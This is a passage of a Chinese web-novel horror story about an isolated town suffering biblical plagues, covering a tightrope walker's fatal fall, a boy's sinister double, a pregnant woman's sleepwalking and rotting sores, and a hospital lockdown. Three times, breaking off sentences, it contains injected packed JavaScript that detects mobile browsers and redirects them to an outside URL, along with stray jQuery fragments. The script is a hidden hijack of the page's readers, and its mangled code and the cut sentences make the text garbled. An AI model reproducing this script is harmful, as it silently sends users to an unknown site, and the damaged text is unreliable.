镇民们来自镇子的各个地方,有的带了凳子,有些只是站着,小孩子也被家长领了来,嘴里衔着一根棒棒糖,口水滴到围巾上。
唯一相同的是他们都抬起了头。
抬头,抬头,望向更高远的天空。
连奈绪也搞不清楚,慎一郎一个在外面过得好好的医生,为什么要在五十多岁时来到这样一个镇子,不仅不好好经营药店,甚至还干起了走索的营生。
是梦想吗?奈绪想。
如果这是梦想的话,那梦想也太莫名其妙了。
慎一郎走索的地方在两面山坡的中央,他架了一根极长的绳索,将两侧山坡上的两棵树木连接起来。
有两三层楼那么高,如果摔下去一定会受伤,再倒霉一点就会撞到石头上,撞个脑浆破碎,也许会折断脖子。
但幸而慎一郎腰上绑了安全绳,挂在横着的索上,奈绪这才堪堪放下心来。
“开始了,开始了!”淳平激动得喊道。
鸟声啁啾,寒风凛冽,白云缥缈,一只脚平静地踏上绳索。
慎一郎展开了胳膊,像一只在澄澈的天空间展翅飞翔的鸟儿。
11. 绳子上的散步者
小镇的居民都瞪大了眼睛,望向高山淡云之间,那一个踩在绳索上的人影。
一步,两步,慎一郎在高高的绳索之上,一双脚如履平地,他平直着身子,慢慢走到了对面。
只差一步了!
慎一郎穿了一双薄底布鞋,平衡着身体,脚尖微微发颤,终于踏到了终点。
呼地吐出一口浊气,他沿着梯子爬了下来,解下身上的绳索,朝众人招招手。
立刻响起雷鸣般的掌声。
慎一郎也沉醉在了掌声之中,凛若冰霜的脸露出一个笑容。
淳平听着全场的欢呼声,神色发愣,奈绪推了一下他,他才反应过来。
“我们去找慎一郎叔叔!”奈绪兴奋地喊,眼睛里激动的神采根本掩饰不住,拉着淳平很快挤到慎一郎面前。
奈绪将右拳握紧,当做话筒,递到慎一郎面前,清了清嗓子,像一位记者那样问:
“慎一郎先生,请问是什么让你开始喜欢上这样高危的职业,并坚持下来呢?”
慎一郎被活泼的奈绪逗笑了,也给面子地正了正领子,郑重地说:“我从小就励志成为一名杂耍艺人,后来阴差阳错学了医生,直到退休了,我才终于开始实现自己曾经的梦想。”
“好!”奈绪兴奋地鼓起掌来。
不久后的足球赛上,淳平擦着额头的汗水,脚下奔跑如风,微一挫腰,猛力踢出。
足球划过一个漂亮的弧线,飞进球网,全场同学都伸直了脖子。
父亲就坐在球场上。淳平想。
要是这一脚中了,会是一件很值得骄傲的事情。
球朝球门射去,守门员扭着身子飞扑而去,淳平屏住了呼吸,手腕上的脉搏跳动。
“嘭!”
光滑的圆球撞上守门员的胳膊,被守门员挡住,在守门员胸膛转了两圈后反向弹出!
失败了。
他没敢扭头去看赛场上父亲的眼神,加快脚步,他听见奈绪和全班同学在为他加油。
他抹了把汗,眼皮微抬,身子下沉,越过球场边缘,球再次飞来。
他用力踢去,却踢了个空。
是谁在笑?
他慌忙站起身,看见观赛台上的一张张脸,笑声来自哪里?
他着急起来,在笑声中绷直了小腿,再次使出全身力气,他想要从对手脚下抢过球,射门,再次迎接那全场的掌声。
但幸运之神没有再次降临,他频频失利,班主任龙太郎看他的眼神也逐渐转变成失望的愁绪。
父亲发出一声叹息,站起身离席。
笑声在耳道里摩擦着,笑得诡异,笑得尖利。
雨,细密的雨丝从天幕落下,他深吸一口气,冲过草坪向那个飞舞的球踢去,身子却没有控制好速度,脚踝难以控制地向一旁歪去,咔嚓一声。
从骨头传到脑海。
他体会了一秒的失明,世界都是空荡荡的,除了那股笑声,刺耳的笑声。
笑声似乎来自于自己身后,他在钝痛中捂住脚,无声地尖叫着,龙太郎和奈绪冲上赛场,他却从两人奔跑的缝隙中看见了一张惨白的人脸。
那张人脸正是他自己。
那个他撑着一把破旧的黑色雨伞,手不屑地插在口袋中,雨水微微沾上了他衣服下摆,一头亮色的头发已经完全变成了黑色,嘴巴咧到不能再大,似乎全部的牙齿都露了出来。
他转过身,消失在雨幕中。
“以后不能再踢球了。”医生说。
淳平躺在担架上,跟腱处的疼痛刺激着他的脑子,让他的意识无限清醒。
不能再踢球了。
他学习不好,父亲又从不关心他,唯一能得到关注的机会,就是每年两次的球赛了。
但这些,以后都没有了。
奈绪想要安慰他,但淳平已经慢慢闭上了眼睛。
那个人是谁?淳平想起球场上那个人。
那分明是他自己,可奈绪他们谁也没有看见。
奈绪敲了敲门:“你好,我是来找淳平的,他在家吗?”
一个中年男子打开门,他穿了一件西装,肚子像吹气一样鼓起,剃了个寸头。
“我是他爸,他今天一早就出去了,不知道在干什么。”
他神色有些不耐烦,嘭地关上了门,奈绪听见门内传来叫骂声:“这个猪崽子,整天不学好,不知道去哪里鬼混,都是你惯出来的!”
接着是女声尖刻的哭喊声:“你整天不管他,现在他成了这样子又来怪我!”
有桌椅倒地的声音,显然两人已经厮打在一起。
奈绪赶紧离开,在平时淳平会去的地方一个个找。
淳平已经几天没来上学了,脚摔伤后,他去了学校一下午,但因为承受不住同学的眼神,当天就收拾东西离开了。
奈绪很担心他,听几位同学说,他们看到淳平一个人在街边游荡,拖着一条伤腿,像一缕游魂。
在镇子小花园的秋千架下,她找到了淳平,她沉默着坐到淳平身边,两个人相对无言。
“你说,好好的冬天,怎么会下雨呢?”淳平忽然来了一句。
“挺正常的啊。”奈绪说。
淳平嗫喏着,没有将那天操场上看到的人说出来,而是接着问:
“你说,咱们小镇是不是很奇怪,都这么久没和外界联系了,咱们竟然还过得好好的。”
“确实很奇怪。”奈绪皱着眉头,遽然展颜一笑,伸出手握住淳平微凉的掌心:“不过我们永远都会是朋友,对吧?”
淳平惨淡地笑了一下,手指用力握紧,像在发一个很毒的誓:“会的。”
淳平:“其实我已经猜出你的梦想了,奈绪。”
“哦?是什么?”奈绪微笑。
“记者,对不对。”
奈绪皱了下鼻子,笑道:“猜对了。你的梦想呢?”
“我的?”淳平垂下头:“我的恐怕没有办法实现了。”
“那就不说了。”奈绪轻轻拍着他的肩。
“好!好!”镇民们鼓掌。
高高的绳索间,慎一郎骄傲地笑着,一脸陶醉的神情。
“要是我也能这样做就好了。”淳平低声说。
自己也能得到鼓掌,也能得到快乐,也许……也许别人还会高看自己一眼。
那个人又出现了。
这次他挤在人群中,依旧是黑色的头发,撑一把旧伞,一脸似笑非笑的表情。
天上无雨,但那个人还是一如既往地打着伞,冷冷看着他。
他听见那个人说:“你做不了的。淳平,你只能像你的父母一样,在镇子上过一辈子,你没有办法离开这座小镇,没有办法成为足球运动员,也没办法走索,你的脚受不了。”
淳平一眨眼,那人消失在眼前。
“又要下雪了。”奈绪伸出手,接到了一片雪花,雪花纯净而透明。
奈绪饶有兴致地看着雪花融化在掌心,更多的雪花
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977561|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洋洋洒洒飘落下来。
她听见一声尖锐的呼啸,仿佛灾难来临的前奏,仰起脸看整面天空时,有一粒红色落了下来。
红色?
她伸出手接住这枚红色的雪花,看它融化在掌心化作一滩红色的血水。
空中红色的雪花越来越多,盖过了白色的积雪,她惊恐地向后退了两步,跌在地上。
鲜红色的雪花似乎要将她淹没,她的口鼻逐渐无法呼吸,红色已经漫到了头部,冰冷的雪将她淹没。
救我……
救我……
她两只手拼命往上扒,将脸扬起拼命呼吸着。
“姑娘,你怎么了?”
奈绪清醒过来,身边站了个过路人,她跌坐在地上,正在手舞足蹈。
她放下手臂,有些羞愧地从地上站起来,拔腿朝药店跑去。
有什么事情不对劲。
淳平黄色的头发在人群中很惹眼,他头发下部已经变成了黑色,正仰起脸,看着天空中的那一根绳子。
慎一郎正在上面走着,神情专注。
雪下得很大,地上铺了厚厚一层积雪,白皑皑的雪被镇民的脚踩得七零八落,脚印与脚印叠在一起。
大片的雪花交缠着从天空飘落,挂在光秃秃的树枝上,树枝已经被蝗虫啃食了大半,像地面伸出的干而瘦的手。
慎一郎身上缠了一根安全绳,一只脚踩在绳索上,从下面可以看见慎一郎的鞋底。
鞋面上落了点雪花,慎一郎小心地走着,像打磨钻石那样认真。
一抹红色飘到了他的脚面上。
融化了。
红色?
慎一郎想:这颜色怎么像血?
心念一动,他脚下便失了准头,略一偏移,绳子抖动起来,紧接着身子一横,直直跌落下来!
惊呼声响起,慎一郎后背的安全绳关键时刻死死拽住了他,阻止他他的掉落。
慎一郎悬挂在半空,奈绪急忙想去搬梯子,却意外瞥见了淳平嘴角勾起的笑容。
那笑容阴森而恐怖,奈绪忽然产生了一种奇异的感觉,好像站在她面前的这个人,并非是她从小到大的朋友,而是一个从镇子外的陌生人。
“啊——”尖叫声刺破耳膜。
原本极其稳固的安全绳,竟从中间断裂开,再也承受不住慎一郎的重量,慎一郎从几十米高的上空落下,如同一只折了翼的鸟儿。
他摔在铺了白雪的地面上,血液从脑袋旁流淌开来,像一幅红色大面积铺陈的油画。
淳平听到了笑声,他转过脸去,街角处,一个撑着黑伞,脸色煞白的人正看着自己。
淳平捧腹大笑起来,那个撑着黑伞的男人也弯下腰,大声尖笑着。
事后,经警察检查,慎一郎身上的安全绳,是假的,内部只是一层薄薄的细丝。
而真正的安全绳,不知去向。
后来,淳平也走起了索,他在高高的绳索上快速走着,他的脚已经能正常行走了。
淳平很安心,他有一根安全绳,一根很结实的安全绳,他可以在掌声中起舞,吸引全场镇民的目光。
他学习不好,后来就再也没去学校了。
每当他表演的时候,那个和他长得一模一样的人,就会撑一把伞站在人群中,嘴角咧到最大。群众的欢呼声都会让他苍白的面容更红润一分。
只是,奈绪再也没有来看过他的表演,她只是冷眼从人群中走过,偶尔伸手接一朵雪花。
12. 虫潮
田野里落了雪,世界都变得清澈而明亮,一只饥饿的鸟儿用尖尖的鸟喙在土壤中翻找着扭动的虫子。
它察觉到土壤在振动,一股气流朝它涌来,它轻盈地一拍翅膀,掠过光秃的树干,落到树杈上,将树枝压弯了一角。
它小小的眼睛好奇地看着振动的来源,那是一个女人。
个子高挑,穿一身薄睡裙,赤着脚,眼神飘忽不定,在雪地中拼命奔跑着,留下一行脚印。
她奔跑的速度极快,看方向似乎是从小镇的中心跑来的,脚被冻得青紫,但丝毫没有停下脚步的意思。
在她身后,两把手电筒闪烁着,长长的光线照到了那个女人的粉色睡裙,他们惊呼一声,加快了脚步。
那是一个男人,和一个少女,男人神色紧张,黑眼圈极重,腿脚无力,跑一段便要停下歇息,少女还算精神,逐渐追上了那个高个子女人。
“步美姐姐,步美姐姐!”奈绪将手按在膝盖上,半弯着腰无奈地喊。
她已经累得气喘吁吁,女人却还坚持向前跑着,奈绪只好咬咬牙,扑上去抱住女人。
叫步美的女人挣扎了一下便软软瘫倒,重新陷入了梦乡,很快便打起了呼噜。
奈绪不敢轻易叫醒她,只能静静等待雄一的到来。
步美怀孕了,奈绪因为学校放假,主动提出来照顾步美。
一方面是自己确实闲着没事干,另一方面,步美出了些问题,她作为步美的好友,不想袖手旁观。
步美出现了梦游的毛病,步美家族中并没有患上梦游症的人,这点已经足够奇怪。
更奇怪的是,步美每次半夜跑出去后,脚上总是沾着沙子,有好几次雄一在半夜出去找步美,都发现她站在离海边不远的沙滩上,一脸茫然无措。
将步美背到雄一背上,两个人一起往小镇走。
踩着细软的土壤,雄一感受着背上的重量,整个人如同抽了力,疯狂跳动的心脏逐渐安定下来。
“今天真是谢谢你了。”雄一浓眉紧皱:“我们在这个小镇上待了几个月了,她……她现在这样,也许是想回家了。”
奈绪有些担忧地看着步美,她正躺在雄一背上熟睡。
奈绪:“没关系,以后有什么事情还可以找我。”
到房间后,雄一和奈绪有一搭没一搭地聊天,还差一个时辰就要天亮了,一般这个时候,步美就会像往常一样醒来。
雄一给步美揉着冻坏的脚,直到她的小腿由青白色重新变得红润,步美眼皮微抬,睫毛颤动,缓缓睁开了眼睛。
“你醒了?感觉怎么样?”奈绪忙问。
“我……”步美看了看两人浓重的黑眼圈,拼命压抑住哭腔:“我又梦游了?”
两人没有回答,但脸色已经说明了一切。
步美捂着脸,哭出声来:“我、我也不知道自己是怎么了……”
雄一安慰道:“你可能只是太想家了,太想你父母了。”
“你做了什么梦?”奈绪急忙转移话题,步美情绪不稳定,现在困在镇子里面,要是想起她许久不见的父母就糟糕了。
“梦……”步美用手指轻轻点着脸颊,嘴角咧开一抹弧度:“梦里,是一片大海,大海上漂了一艘船,甲板上有好多人,好多人,我怎么也挤不进去,一次又一次被丢下船。后来我听见有人说,船底破了!整艘船就都沉入了海底,只留我一个人在岸上。”
“真是莫名其妙的一个梦啊。”步美摇头,转眼看向奈绪:“谢谢你,奈绪。”
她轻抚着自己的肚子,还差两个月便要生产了,她脸上的笑容温柔而平和:“等这个孩子出生,大概春天就已经到了,我们商量过了,如果这个孩子是女孩,就叫她夏美,如果是个男孩,就叫他优介。”
“好哎!”奈绪高兴地喊,“这两个名字都好听!到时候我一定常来找他们玩!”
奈绪因为失眠睡不着觉,去医院拿药,却见到雄一来拿药。
一见到雄一,奈绪吓了一跳。
“你怎么脸色这么差?步美现在还是在梦游吗?”
雄一扯出一丝笑容:“要是像梦游那样简单就好了……”
“怎么了?”
雄一走路很快,并不想说话,奈绪敏锐地看见他手里提的一袋药中,有不少膏药。
步美受伤了?
她熬了雄一半天,雄一才终于松口带她见见步美。
玄关脱鞋进入房间后,她便隐约闻到一股腥味。
这股腥味混杂了血的味道,像海风吹过铁锈,奈绪小心翼翼地往卧室走去,离卧室越近,腥味就越浓。
“步美姐姐?”奈绪轻声说。
溜进房间内,床边放了一双鞋子,是雄一的,上面沾满了沙子。
床上被单上沾了点黄色的沙子,被子裹住了步美,步美只露出半张脸,整个身子裹得紧紧的。
“步美……”
她伸出手想触碰步美的肩,步美却惊慌失措地避开她的手。
“别、别碰!”
她猛地坐起,向墙角靠去,指着房门大喊:“奈绪,快出去!”
头发自然分开,垂落到肩两侧,露出了她的全脸,即使没有灯光照射也看得清晰。
一块一块青紫色的疤痕占据了她的脸颊,露出的半个肩膀生了疮,全是暗红色和黄褐色的凸起和凹陷,腥味正是从这些疮中而来。
“你是生病了吗?”奈绪眼神关切。
步美无助地摇了摇头,她的肚子还有一个月就要临产了,此时肚子上也生了疮,皮肉翻卷,出奇地恐怖骇人。
“我……我这些天,梦游更频繁了,梦里我总是挤不上那个船,现实里,我梦游过后,身上就会开始出现这样的疮疤,我……我现在真的不知道该做什么了。”
“你现在最重要的是住院。”奈绪神情严肃:“找到病因所在,才能好好根治。”
在奈绪的建议下,步美住进了医院。
漆黑的楼道中,步美平躺在床上,奈绪正在隔壁床上休息,她的手机现在没有任何信号,联系不到外界,她只好打开相册,一张一张看从前在小镇上拍的照片。
最后一张照片是在学校里,她在操场上给姐姐由子拍照,由子笑得正开心,旁边右一还是一脸愁容,角落里,伊藤望一头自来卷十分亮眼,正和友树聊天。
没有淳平的身影。
淳平他……
奈绪摇了摇头,不愿再回忆起这个人,他站在绳索上大声喊着奈绪的名字,奈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977562|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绪却怕得只想走开。
一个身影忽然坐了起来。
奈绪急忙关闭手机看过去,步美坐在床上,过来一会儿,忽然翻身朝外面走去。
她挺着一个大肚子,走得一摇一晃,梦游的人不能贸然吵醒,奈绪急忙下床追了出去。
月光下,步美踩着积雪,在一片惨烈的白色中奔跑,她眼神涣散,连奔跑的姿势也不太协调,似乎她用尽全身力气,就只是为了奔跑一样。
奈绪也跑得飞快,浑身冻得僵硬,紧跟在步美身后。
步美跑过的地方,留下了一个一个脚印,脚印内散落了几块皮肉,正是从步美身上生的疮落下来的,红色的血滴在雪中。
奈绪更着急了,她要赶紧把步美找回去,不能放任她一个孕妇在寒冷的夜晚奔跑。
可今天,步美跑得格外快,奈绪被远远甩在身后,只看见一个穿着条纹衣服的小点。
她朝海边跑去了。
奈绪紧加快速度,翻过山坡,跑过街道,走过布满石子的小路,最后终于踩上了松软的沙滩。
黑夜中,船的黑影和钟的黑影靠在一起,步美脚步蹒跚,手脚并用朝船边冲去。
奈绪想起步美的梦境,步美她……难道要上船?
奈绪踩着细沙,也朝船边跑去。
她以为步美会冲进船舱,怎料步美在靠近船后,主动停下了脚步,侧身看向那口大钟。
她平淡无神的眼睛仿佛忽然有了光,挥起拳头便向大钟砸去。
“咚——”
声音震耳欲聋,奈绪捂住耳朵,加快脚步冲到步美身旁,将步美抱住,想将步美从大钟旁拉开,步美手被束缚着,竟用头开始撞起大钟来。
她身上的皮肤溃烂得更快了,肩部整块皮肤整片脱落下来,露出了鲜红的血肉,奈绪手臂鼓劲,将她拼命从大钟旁拉开。
脚好像踩到了什么东西。
奈绪疑惑抬头,看见月光之下寒冷彻骨的海洋上,浮起来一层密密麻麻的海虫。
她脚下,一只海虫刚刚爬上岸,在她的脚下碎裂。
“怎么这么多虫子……”奈绪瞳孔震颤,脸色遽然变得苍白。
虫子接连不断地往岸上涌来,像一片滔天的虫潮,一只海虫扑到了她脚下,勾着她的鞋子开始往上爬。
她拉住步美,迈开步子躲避着海虫的袭击,朝医院跑去。
海虫却并没有追上来。
奈绪察觉到海虫离她越来越远,奔跑间隙回头查看,却顿时愣在原地。
成千上万的海虫,汹涌着扑到沙滩下,将整个废弃的破船抬了起来,连带着那口大钟。
海虫形成虫柱,将大钟运到船上,接着像潮水一样退去,大船被缓慢移动到了海上,在月光的照耀下,海虫带着这艘破旧的船,一同在海面上奔流着,速度极快,霎时间就消失在了海面上。
海面恢复了平静,好像什么都没发生过。
步美捂着肚子,一股热流涌出,她蹲下身子,歪倒在地上。
“我……我怎么会在这里……奈绪,我、我要生了,你快去喊人……”
奈绪还来不及对刚才见到的万虫奔袭场面表示震惊和疑惑,便迎着冷风,在逐渐下起的飞雪中朝医院冲去。
13. 诞生
icu病房外,一群人焦急地等待着。
奈绪一家和雄一守在门外,奈绪焦急地咬着指甲,看向雄一。
雄一坐在椅子上,两掌相合,对着墙壁祈祷,他眼睛里布满了血丝,正盯着病房的门口。
奈绪的姐姐由子也跟着紧张,他们都是被奈绪喊来的。
虽然步美在奈绪家里住的时间并不长,可他们都对这一对温和有趣的夫妻产生了好感。
门上的灯灭了。
两个医生走出来,高个子医生拉下口罩,说:“是个女孩,不过情况有些紧急,这个刚出生的孩子似乎视力方面有些问题,现在正在加紧检测原因。女方现在暂时安全,马上要被送进隔离病房。”
“眼睛?我女儿眼睛出什么问题了?”雄一忙问。
矮个子医生推推眼镜:“眼睛倒是正常的,但看不见,怀疑是神经方面出了问题。”
雄一瞬间瘫软下来,腿脚发软站不住,靠着墙边大口喘气,直到眼前的白光消失。
车子骨碌碌推了出来,他急忙扑上前,步美伸出一只手轻柔地握了一下,随后放开,被医生推进了隔离病房。
婴儿被护士洗净了身体,发出嘹亮的哭声,它包在软布里,躺在床上,手脚扑腾,像是在探索这个世界。
婴儿的眼睛看起来又黑又亮,睫毛长长,眉眼有些像步美,鼻子下巴很像雄一,它咯咯笑了起来,笑声清脆又明亮。
“怎么会看不见呢?”奈绪有些伤感地想。
她将手放在婴儿面前挥了一下,婴儿眼睛全无反应。
“没关系没关系……”雄一自言自语,“健康就好,健康就好,等我们出去镇子,我找最好的医生来给你看,宝贝,宝贝……”
他用手指摸着女婴的额头,孩子的额头温暖而平滑。
“夏美,你好啊……”雄一轻声和她打招呼。
正是早春时节,可千鱼镇的树木没有发芽,肃杀的气息并未从千鱼镇中被抹去半分。
一只饥肠辘辘的鸟儿翅膀无力地拍打着,越过无一片枝叶生长的原野,往隧道口飞去。
一小把谷子被撒在地上,它用光了最后一点力气,费力地啄食着,终于恢复了力气,它食足胃饱,黑亮的眼珠开始打转,看到一个蹲在它面前的女孩。
女孩手中还剩了些谷粒,黑亮的长发垂散腰际,她神情有些许不耐,看向隧道深处,忽然扯起嗓子大喊:
“你还要再试一遍吗?右一,你真是疯了!”
这一嗓子把鸟儿吓得惊飞,她也就将最后的一点谷粒撒在地上,拍拍手站起身。
身形瘦弱的高个男子从隧道深处走了出来,脸色苍白如纸,他冷声说:“我没疯。”
他手中拿了一本圣经,圣经的边角都被翻到皱起,有几页都被折上了角,书的封皮已经掉了。
“由子,”他开口:“最近镇子上的事情,你不觉得奇怪吗?”
“当然奇怪了!”由子说:“人死了将近一半,还出现了那样……那样奇怪的事情,根本没办法预料。”
“有办法预料。”右一走到由子身边坐下,示意由子也跟着坐下来。
他把圣经摊开,指着其中的某一页:“你看,咱们镇子上发生的事情,虽然无法预测顺序,但大体和这些内容一致。”
“圣经里记载了十灾,这十灾,在这短短的几个月里,发生了许多灾难,先是最开始的蝗灾,而后是苍蝇,虱子,青蛙,还有之前镇子出现的牛羊疫情,虽然没有造成大面积的破坏,但也足够蹊跷,镇子里的许多人都遭到了不同程度的精神污染,慢慢的,大家对这些并不常见的灾害都习以为常了。”
“那我们应该怎么做?它上面剩下的这几种灾害还有哪些?”由子焦急地问。
右一翻看着圣经,蓦地合上,叹了口气。
“现在医院里面,很多人身上生了疮,接下来等待我们的,还剩下冰雹,黑暗,以及长子之灾。”
“现在唯一的办法,就是从镇子里出去,也许出去后,还有一线生机。”
未到黎明,一群青壮年已经聚集在了医院门口,领头的是一个寸头中年男子,他是刚刚上任的镇长中田。
短短几个月,镇子上的镇长已经换了三个人,打破了镇长职务的最短任职纪录,而前镇长骏平,现在还躺在医院内,他的女儿珠惠,也躺在他旁边,总觉得身上有虱子在咬。
父女隔着两面玻璃窗相望,他们在隔离仓内听不到对方的声音,只能看见彼此眼中的泪水。
而奈绪正站在舱外的走廊旁,从三楼的窗户遥遥向下望。
先是看见几个人,他们走过街道,加入他们的人越来越多,像一团乌云,往医院的方向涌了过来,镇长站在医院门前,手中握了一个大喇叭。
“里面的人听着——”
镇长清了清嗓子,对手下示意,守住了正门,同时两个壮汉往医院后门摸去。
奈绪敏锐地察觉了不对,转头敲了敲珠惠的氧气舱,按下按钮与她对话:“珠惠,外面出事了,他们可能要封锁医院,你要不要和我一起出去?”
珠惠苍白地笑了,她手上大块的血痂刚刚凝结,看起来触目惊心,她摇了摇头。
“你呢?”奈绪问镇长,镇长的情况更严重,他只是闭上眼睛,看了一眼女儿,无言地摇头。
与此同时,窗外的喇叭声紧接着响起:“镇子里最近爆发了瘟疫,得病的人会大块掉皮肤,经镇上医生研究,这种病通过接触传染,毒性极大,现对医院进行封锁,消毒,内部人员撤出,病人统一处理。”
奈绪想起了病床上的步美,她才刚生了孩子,还没恢复过来,忙拔腿朝病房跑去。
她听见轻轻的敲击玻璃的声音,回过头去,是珠惠,她轻轻挥着手,与奈绪告别。
“珠惠……”泪水瞬间模糊了奈绪的眼睛。
珠惠两条可爱的小辫子还在轻轻晃着。
“雄一他……他在哪里?”步美脸色苍白,嘴唇干裂。
“他回家去拿行李了,估计现在快回来了,但我估计他们守住了正门,他现在进不来。”
“我们现在走,好不好?”奈绪的声音带着哭腔,“我不知道他们要做什么,为什么要把医院封起来,我知道,我知道你的这种病不会传染,他们为什么要撒谎呢?”
步美轻柔地抚摸着奈绪的脸,话里带着遗憾:“可惜我看不到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977563|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个孩子长大了,我还想等到出镇子后,把她带给我妈妈看看。”
奈绪哭了起来:“你不走了吗?现在跑出去还来得及。”
“我走不了了。”
步美掀开被子,半条腐烂的腿裸露在眼前。
“也许当我从那个公交车上下来,结局就已经注定了吧,我们本来都要死在那里的。奈绪,你带着夏美走吧。”
医院外,人群吵嚷,镇长安抚着居民的情绪,举起喇叭说:“大家放心,我们一定会终止这次瘟疫,镇子已经在积极和外面联络,我们一定能恢复到从前的样子。”
一人抢白道:“这几个月来,镇子死了多少人你不清楚?我们活到现在,没有精神崩溃已经是万幸了,你怎么能把这些安全隐患留到现在才处理?”
“我们一定会给大家一个交待!”镇长鞠了一躬,人群才勉强平息了些。
雄一背着一包衣服,站在医院门口张望,几次试图挤进去又被警卫拦住。
“里面出什么事了?”
“烂疮病,你不知道啊?会传染的!现在医院已经被封起来了!”
“谁说的!”雄一焦急万分:“谁造的谣?这病根本不传染!”
“你瞎说什么胡话?”一人白了他一眼:“神经病!镇长的话都不听了!”
雄一毫不理会,抱起衣服就往里闯:“让我进去,让我进去!”
一只手悄悄拉了拉他的袖子:“雄一叔叔。”
雄一没有理会,那声音又怯怯叫了一声:“雄一叔叔。”
雄一转过身去,看见奈绪,她怀中抱着一个婴儿,眼角泛着泪花。
“步美呢?”
“她说,她说她出不来了,她的腿烂了。”
雄一思索片刻,低头亲了一下夏美的额头,有些恋恋不舍地看着夏美的眼睛。
“可惜她还没见过她母亲长什么样呢。”
女婴眼睛依然茫然,却忽然嚎啕大哭起来,手脚乱蹬,奈绪只好把夏美抱紧。
“雄一叔叔,我们现在赶紧走,现在的情况不好,镇民们……镇民们好像精神不太好。”
年长的镇民精神萎靡,被耳中接连不断的低语所折磨。
年轻的镇民,一半忍受孤独的困扰,一半则陷入了对事物的极端迷恋,眼窝深陷,如同骨架子一样。
没等奈绪反应过来,雄一已经快步走到警卫身旁:“我……我也得了烂疮病。”
“你这是干什么!”
奈绪惊呼,抱着夏美向前挤去,“你不要你孩子了吗?”
雄一看着嚎啕大哭的女儿,咬咬牙又重复了一遍:“我也得了那个病。”
警卫吓了一跳,急忙和雄一拉开一段距离,用警棍戳着他的背:“快!快!现在赶紧进去!不要待在外面!”
雄一露出一抹微笑,有些不舍地看了一眼夏美。
“放心,我见过步美之后,就会想办法出来的。”
“你乱说什么,怎么可能让你出来!”警卫呵斥道:‘快进去,快进去!’
“雄一叔叔……”
奈绪看向那个朝大门走去的背影,从背后看,才发现雄一的头发竟然白了那么多。
14. 火舌
远离镇子的田野边,有一座两层的建筑。
因为没有电,建筑处在一片模糊的黑暗中,只有窗台边能看见一丝幽幽的火光,那是正在跳跃的烛光。
烛光照耀之处,一个中年女子正抱着一个小婴儿轻柔地摇晃着,婴儿圆眼睛眨动,没有发出一声哭叫。
两个少女一前一后从楼上下来,男孩也从房间里走出来,都各自坐在椅子上。
“奈绪,雄一和步美现在还在医院吗?”
奈绪的母亲问,她脸上流露出关切,嗓子有些沙哑。
奈绪点头,声音有些颤抖:“镇长说,他们要将疑似感染烂疮的人全部集中到林间的房子中,统一处理,至于那些得病的,就先留在医院养着。”
中村趿拉着拖鞋,挠了挠鼻子:“意思是……她俩必须分开?”
奈绪脑中浮现起被子下的那双腿,有一个声音在脑中响起:
也许等不到分开那天,步美就先死去了。
她急忙摇摇头,赶走这恼人的情绪。
她的肚子叫了起来,紧接着,由子的肚子也响起来,他们一家人都饿得饥肠辘辘。
所幸这个婴儿吃的并不多,不然他们连这个婴儿也养不起了。
铛铛铛。
有人敲门。
“我去开。”中村有气无力地说。
初春的寒冷依旧恼人,一个身影带着冷风,从门缝塞进来。
手里提了个袋子。
“爸,你回来了。买到些什么没有?”奈绪问。
奈绪的爸爸将袋子放到桌子上摊开:“现在用钱根本买不到东西,咱们镇子与外界不相通,货币已经没有用了。”
奈绪:“那你怎么拿到的?”
“我卖了几件衣服,换了点吃的。”
袋子里有几块面包,香肠,他熟练地将其分给他们。
“咱们可能出不去了。”由子咽下一口面包。
她将右一的发现告诉了他们。
“也就是说,我们镇子的灾难,现在还没有结束?”奈绪首先反应过来。
中村:“接下来的冰雹,黑暗,长子之灾,会按什么样的顺序进行?”说到最后一个长子之灾时,他声音发颤。
“这个不清楚。”由子有些悲观地摇头,“现在唯一的办法就是想办法自给自足,能混过一天是一天,等这些灾难都结束了,也许就会迎来新生。”
她在口袋里掏了几下,掏出一包东西,这东西用白纸包住,小心地叠放着。
“我从龙太郎老师那里要了些种子,是菜种,现在是早春,种下去也许会发芽,就算现在树木已经不发芽了,我们也要试一试。”
奈绪看着那张白纸包裹的种子,手指前伸,颤抖着接住了它,像捧住了一块易碎的玉石。
“这是宝贝。”奈绪失声说,“我也加入。”
两姐妹起身推开门,在月光的照耀下摸到那片开满郁金香的原野。
父母没有跟出来,他们看着镇子一点点变成死气沉沉的样子,无论如何拯救都只有失败,现在他们已经不愿意尝试了。
“这些郁金香开得这么好,我们的种子也一定会的。”由子面露期待。
她们伸手将郁金香拔掉,挖出一条田垄,将种子细细撒在里面,又返回井边,费力打了一桶井水,小心翼翼地捧着一汪水浇到泥土上。
